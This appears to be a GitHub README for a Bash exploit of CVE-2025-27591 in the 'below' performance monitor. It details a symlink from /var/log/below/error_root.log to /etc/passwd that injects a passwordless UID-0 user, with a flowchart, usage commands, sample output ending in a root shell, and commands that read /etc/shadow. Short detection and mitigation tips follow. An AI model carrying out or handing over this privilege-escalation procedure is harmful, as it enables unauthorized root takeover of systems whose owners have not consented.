
A Bash-based privilege escalation exploit targeting the `below` system performance monitoring tool. This refurbished exploit leverages a symlink vulnerability in the logging mechanism to inject a root user into `/etc/passwd`, achieving full root access.
A Bash-based privilege escalation exploit targeting the below system performance monitoring tool. This refurbished exploit leverages a symlink vulnerability in the logging mechanism to inject a root user into /etc/passwd, achieving full root access.
Discovered and reported by Matthias Gerstner @ SUSE - Security Advisory
/usr/bin/below (Facebook's system performance monitor)/var/log/below/error_root.log → /etc/passwdThe below monitoring tool logs errors to /var/log/below/error_root.log when running with elevated privileges. If the log directory is world-writable, an attacker can:
error_root.log to /etc/passwdbelow record command to write error messages to the symlinkThis exploit automates the entire process with intelligent fallback mechanisms to handle various system configurations.
flowchart TD
A[Start Exploit] --> B[Get Username from User]
B --> C{Check /var/log/below<br/>World-Writable?}
C -->|No| D[Exit: Not Vulnerable]
C -->|Yes| E[Remove Existing error_root.log]
E --> F[Create Symlink:<br/>error_root.log → /etc/passwd]
F --> G{Symlink Created<br/>Successfully?}
G -->|No| D
G -->|Yes| H[Execute: sudo below record]
H --> I[Wait 3 seconds for logging]
I --> J[Kill below process]
J --> K{Payload in<br/>/etc/passwd?}
K -->|Yes| M[Success Path]
K -->|No| L[Attempt Manual Injection:<br/>echo payload >> symlink]
L --> N{Manual Injection<br/>Success?}
N -->|No| O[Try Fallback:<br/>sudo tee -a]
N -->|Yes| M
O --> P{Fallback<br/>Success?}
P -->|No| D
P -->|Yes| M
M --> Q[Verify Payload in /etc/passwd]
Q --> R[Disable Cleanup Trap]
R --> S[Execute: su username]
S --> T[Root Shell Obtained]
style A fill:#e1f5ff
style T fill:#90EE90
style D fill:#ffcccb
style M fill:#98fb98Pre-Check Phase
/var/log/below directory existsSetup Phase
error_root.log file/var/log/below/error_root.log → /etc/passwdInjection Phase (Primary Method)
sudo below record in background/etc/passwd in a useful wayInjection Phase (Fallback Methods)
echo >> symlink)sudo tee -a)Shell Spawn Phase
/etc/passwdThe injected /etc/passwd entry follows this format:
username::0:0:username:/root:/bin/bash
Field Breakdown:
username: User-provided username (default: "0xdtc")::: Empty password field (no password required)0:0: UID=0, GID=0 (root privileges)username: GECOS field (user description)/root: Home directory/bin/bash: Login shellbelow binary/var/log/below directory must be world-writablesudo access to execute below record# Make script executable
chmod +x CVE-2025-27591
# Run the exploit
./CVE-2025-27591
========================================
CVE-2025-27591 Exploit (Bash)
========================================
[*] This exploit will create a new root user in /etc/passwd
[?] Enter username for the new root user (default: 0xdtc): myuser
[+] Using username: myuser
0xdtc@kali:/tmp$ ./CVE-2025-27591
========================================
CVE-2025-27591 Exploit (Bash)
========================================
[*] This exploit will create a new root user in /etc/passwd
[?] Enter username for the new root user (default: 0xdtc): 0xdtc
[+] Using username: 0xdtc
[*] Checking for CVE-2025-27591 vulnerability
[+] /var/log/below is world-writable
[*] Testing symlink creation
[+] Symlink test successful
[+] Target is vulnerable
[*] Starting exploitation
[+] Wrote payload to /tmp/exploit_payload
[*] Creating symlink: /var/log/below/error_root.log -> /etc/passwd
[+] Symlink created
[*] Executing 'sudo below record' to trigger logging
[*] Started 'below record' with PID: 12345
[*] Checking if payload was written
[*] Attempting manual injection
[*] Appending payload to /etc/passwd via symlink
[+] Payload appended
[+] Exploitation completed! Payload is in /etc/passwd
[*] Spawning root shell via 'su 0xdtc'
[*] Password should be empty, just press Enter
root@kali:/tmp# whoami
root
The script includes multiple fallback mechanisms to handle various system configurations:
Existing File Handling
Multiple Injection Methods
below record error loggingsudo teeProcess Management
below processesRe-run Detection
/etc/passwd.
├── CVE-2025-27591 # Main exploitation script
├── README.md # This documentation
└── /tmp/exploit_payload # Temporary payload file (created at runtime)
After successful exploitation, verify root access:
# Check current user
root@target:/tmp# whoami
root
# Check user ID and groups
root@target:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
# Verify user in /etc/passwd
root@target:/tmp# grep "^0xdtc:" /etc/passwd
0xdtc::0:0:0xdtc:/root:/bin/bash
# Read root-only files
root@target:/tmp# cat /etc/shadow
[... shadow file contents ...]
If you need to remove the malicious user after testing:
# Remove the injected user from /etc/passwd
sudo sed -i '/^username:/d' /etc/passwd
# Remove any leftover symlinks
rm -f /var/log/below/error_root.log
Replace username with the actual username you used during exploitation.
File Integrity Monitoring
# Monitor /etc/passwd for unauthorized changes
aide --check
Symlink Detection
# Check for suspicious symlinks in log directories
find /var/log -type l -ls
Audit Logs
# Check for suspicious sudo usage
grep "below record" /var/log/auth.log
Fix Directory Permissions
# Remove world-writable permission from log directory
sudo chmod 755 /var/log/below
AppArmor/SELinux Policies
below binary file write locationsUpdate Below
Monitor /etc/passwd
This exploit is intended for educational purposes and authorized penetration testing only.
Unauthorized access to computer systems is illegal. Only use this tool on systems where you have explicit permission to perform security testing. The author(s) assume no liability for misuse of this tool.
By using this exploit, you acknowledge that you:
Repository: https://github.com/0xDTC/ Author: Divine Clown (0xDTC) License: Educational Use Only Last Updated: 2025-11-13
su <username> to obtain root shell